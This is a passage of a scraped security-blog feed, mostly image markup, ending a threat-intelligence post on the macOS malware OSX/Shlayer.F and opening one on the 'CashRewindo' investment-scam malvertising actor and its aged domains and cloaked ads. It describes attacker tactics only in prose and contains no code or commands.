pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!lc3x!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3dcc5f04-ea14-4f67-9d7c-5a301c7f05c2_548x450.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!lc3x!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3dcc5f04-ea14-4f67-9d7c-5a301c7f05c2_548x450.png 424w, https://substackcdn.com/image/fetch/$s_!lc3x!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3dcc5f04-ea14-4f67-9d7c-5a301c7f05c2_548x450.png 848w, https://substackcdn.com/image/fetch/$s_!lc3x!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3dcc5f04-ea14-4f67-9d7c-5a301c7f05c2_548x450.png 1272w, https://substackcdn.com/image/fetch/$s_!lc3x!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3dcc5f04-ea14-4f67-9d7c-5a301c7f05c2_548x450.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!lc3x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3dcc5f04-ea14-4f67-9d7c-5a301c7f05c2_548x450.png" width="548" height="450" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3dcc5f04-ea14-4f67-9d7c-5a301c7f05c2_548x450.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:450,&quot;width&quot;:548,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!lc3x!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3dcc5f04-ea14-4f67-9d7c-5a301c7f05c2_548x450.png 424w, https://substackcdn.com/image/fetch/$s_!lc3x!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3dcc5f04-ea14-4f67-9d7c-5a301c7f05c2_548x450.png 848w, https://substackcdn.com/image/fetch/$s_!lc3x!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3dcc5f04-ea14-4f67-9d7c-5a301c7f05c2_548x450.png 1272w, https://substackcdn.com/image/fetch/$s_!lc3x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3dcc5f04-ea14-4f67-9d7c-5a301c7f05c2_548x450.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>OSX/Shlayer.F</strong><em> victims &amp; geography Q1-Q3 2022 &#8212; source Confiant</em></p><p>and allowed us to determine the infection % between home networks and enterprise networks during Q1-Q3 2022:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!0T0i!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c18a5a8-8b72-4388-97f5-3d3764c8cf5f_590x580.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!0T0i!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c18a5a8-8b72-4388-97f5-3d3764c8cf5f_590x580.png 424w, https://substackcdn.com/image/fetch/$s_!0T0i!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c18a5a8-8b72-4388-97f5-3d3764c8cf5f_590x580.png 848w, https://substackcdn.com/image/fetch/$s_!0T0i!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c18a5a8-8b72-4388-97f5-3d3764c8cf5f_590x580.png 1272w, https://substackcdn.com/image/fetch/$s_!0T0i!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c18a5a8-8b72-4388-97f5-3d3764c8cf5f_590x580.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!0T0i!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c18a5a8-8b72-4388-97f5-3d3764c8cf5f_590x580.png" width="590" height="580" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9c18a5a8-8b72-4388-97f5-3d3764c8cf5f_590x580.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:580,&quot;width&quot;:590,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!0T0i!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c18a5a8-8b72-4388-97f5-3d3764c8cf5f_590x580.png 424w, https://substackcdn.com/image/fetch/$s_!0T0i!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c18a5a8-8b72-4388-97f5-3d3764c8cf5f_590x580.png 848w, https://substackcdn.com/image/fetch/$s_!0T0i!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c18a5a8-8b72-4388-97f5-3d3764c8cf5f_590x580.png 1272w, https://substackcdn.com/image/fetch/$s_!0T0i!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c18a5a8-8b72-4388-97f5-3d3764c8cf5f_590x580.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><strong>OSX/Shlayer.F</strong><em> infections per type of network Q1-Q3 2022 &#8212; source Confiant</em></figcaption></figure></div><p>Since its discovery in 2018, Shlayer has continued to pose a threat to the macOS platform. Over the years, we have seen various but limited modifications of Shlayer, with <strong>OSX/Shlayer.F</strong> representing a significant overhaul. It is likely that we will see further sophistication and ingenuity from the authors of this malware in the future.</p><p>This research highlights the importance of looking for modified or trojanized DMG files in larger sets of malware. I hope that it will inspire other researchers to take a deeper look at this issue, and I look forward to seeing the results of their findings.</p><p><em>if you like this post, make sure to follow me on twitter at <a href="https://twitter.com/lordx64">Lordx64</a> and <a href="https://twitter.com/confiantintel">ConfiantIntel</a> for our latest threat intelligence findings.</em></p>]]></content:encoded></item><item><title><![CDATA[CashRewindo: How to age domains for an investment scam like fine scotch]]></title><description><![CDATA[Originally written by Daniel Fonseca Yarochewsky]]></description><link>https://blog.confiant.com/p/cashrewindo-how-to-age-domains-for-an-investment-scam-like-fine-scotch-a48d22788c84</link><guid isPermaLink="false">https://blog.confiant.com/p/cashrewindo-how-to-age-domains-for-an-investment-scam-like-fine-scotch-a48d22788c84</guid><dc:creator><![CDATA[Confiant]]></dc:creator><pubDate>Mon, 28 Nov 2022 18:53:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!Osjx!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2537daa-69a7-4df7-926c-031c68176dd9_800x600.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>Originally written by <strong>Daniel Fonseca Yarochewsky</strong></em></p><p><em>Years-old domains, compromised JS libraries and worldwide-localized content among tactics of this sophisticated attacker.</em></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Osjx!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2537daa-69a7-4df7-926c-031c68176dd9_800x600.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Osjx!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2537daa-69a7-4df7-926c-031c68176dd9_800x600.jpeg 424w, https://substackcdn.com/image/fetch/$s_!Osjx!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2537daa-69a7-4df7-926c-031c68176dd9_800x600.jpeg 848w, https://substackcdn.com/image/fetch/$s_!Osjx!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2537daa-69a7-4df7-926c-031c68176dd9_800x600.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!Osjx!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2537daa-69a7-4df7-926c-031c68176dd9_800x600.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Osjx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2537daa-69a7-4df7-926c-031c68176dd9_800x600.jpeg" width="800" height="600" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b2537daa-69a7-4df7-926c-031c68176dd9_800x600.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:600,&quot;width&quot;:800,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Osjx!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2537daa-69a7-4df7-926c-031c68176dd9_800x600.jpeg 424w, https://substackcdn.com/image/fetch/$s_!Osjx!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2537daa-69a7-4df7-926c-031c68176dd9_800x600.jpeg 848w, https://substackcdn.com/image/fetch/$s_!Osjx!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2537daa-69a7-4df7-926c-031c68176dd9_800x600.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!Osjx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2537daa-69a7-4df7-926c-031c68176dd9_800x600.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Fhln!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F763152dd-5ec0-4761-8385-9be6e6e8c375_1150x1024.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Fhln!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F763152dd-5ec0-4761-8385-9be6e6e8c375_1150x1024.png 424w, https://substackcdn.com/image/fetch/$s_!Fhln!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F763152dd-5ec0-4761-8385-9be6e6e8c375_1150x1024.png 848w, https://substackcdn.com/image/fetch/$s_!Fhln!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F763152dd-5ec0-4761-8385-9be6e6e8c375_1150x1024.png 1272w, https://substackcdn.com/image/fetch/$s_!Fhln!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F763152dd-5ec0-4761-8385-9be6e6e8c375_1150x1024.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Fhln!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F763152dd-5ec0-4761-8385-9be6e6e8c375_1150x1024.png" width="1150" height="1024" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/763152dd-5ec0-4761-8385-9be6e6e8c375_1150x1024.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1024,&quot;width&quot;:1150,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Fhln!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F763152dd-5ec0-4761-8385-9be6e6e8c375_1150x1024.png 424w, https://substackcdn.com/image/fetch/$s_!Fhln!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F763152dd-5ec0-4761-8385-9be6e6e8c375_1150x1024.png 848w, https://substackcdn.com/image/fetch/$s_!Fhln!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F763152dd-5ec0-4761-8385-9be6e6e8c375_1150x1024.png 1272w, https://substackcdn.com/image/fetch/$s_!Fhln!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F763152dd-5ec0-4761-8385-9be6e6e8c375_1150x1024.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In Internet parlance, &#8220;old&#8221; has a much younger meaning &#8212; domains, virtual servers, image assets &#8212; everything is now or never. So much so that many security vendors rely heavily on what is called &#8220;domain reputation&#8221;, or the history a particular domain name has acquired over time on the Internet; a domain that is days old for a supposedly established online shop for example can raise concerns, while a 5-year-old digital presence works like a kosher staple.</p><p>Despite having extensively talked about investment scams for quite some time (<a href="https://blog.confiant.com/the-trend-of-client-side-fingerprinting-in-cloaked-landing-pages-21915eb473df">here</a> and <a href="https://blog.confiant.com/fake-celebrity-endorsed-scam-abuses-ad-tech-to-net-1m-in-one-day-ffe330258e3c">here</a>), we&#8217;d like to bring attention to this actor we&#8217;ve been tracking for almost two years now whose tactics are particular in ways we&#8217;ve never seen before; <em><strong>CashRewindo</strong></em>, first seen in 2018,<em><strong> </strong></em>distributes attacks all around the globe, smuggling malicious code in common JavaScript libraries and aging domains like fine scotch.</p><h2><strong>The ads</strong></h2><p>We already know of the two main components of a successful malvertising campaign &#8212; an <strong>effective creative</strong> and a <strong>cloaked landing page</strong>.</p><p><em><strong>CashRewindo</strong> </em>employs a creative strategy that consists of flipping between scam ads and innocuous wording, i.e. usually at the beginning of the campaign we&#8217;d see placeholder ads that don&#8217;t trigger strong language detection and only later do we start to observe actual call-to-action ads.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hr8r!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66a1b797-9e32-4046-8732-5461d983e33b_844x356.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hr8r!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66a1b797-9e32-4046-8732-5461d983e33b_844x356.png 424w, https://substackcdn.com/image/fetch/$s_!hr8r!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66a1b797-9e32-4046-8732-5461d983e33b_844x356.png 848w, https://substackcdn.com/image/fetch/$s_!hr8r!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66a1b797-9e32-4046-8732-5461d983e33b_844x356.png 1272w, https://substackcdn.com/image/fetch/$s_!hr8r!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66a1b797-9e32-4046-8732-5461d983e33b_844x356.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hr8r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66a1b797-9e32-4046-8732-5461d983e33b_844x356.png" width="844" height="356" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/66a1b797-9e32-4046-8732-5461d983e33b_844x356.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:356,&quot;width&quot;:844,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!hr8r!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66a1b797-9e32-4046-8732-5461d983e33b_844x356.png 424w, https://substackcdn.com/image/fetch/$s_!hr8r!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66a1b797-9e32-4046-8732-5461d983e33b_844x356.png 848w, https://substackcdn.com/image/fetch/$s_!hr8r!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66a1b797-9e32-4046-8732-5461d983e33b_844x356.png 1272w, https://substackcdn.com/image/fetch/$s_!hr8r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F66a1b797-9e32-4046-8732-5461d983e33b_844x356.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PWoP!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55dea635-5479-4685-94de-9ca7aaeac36e_210x175.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PWoP!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55dea635-5479-4685-94de-9ca7aaeac36e_210x175.gif 424w, 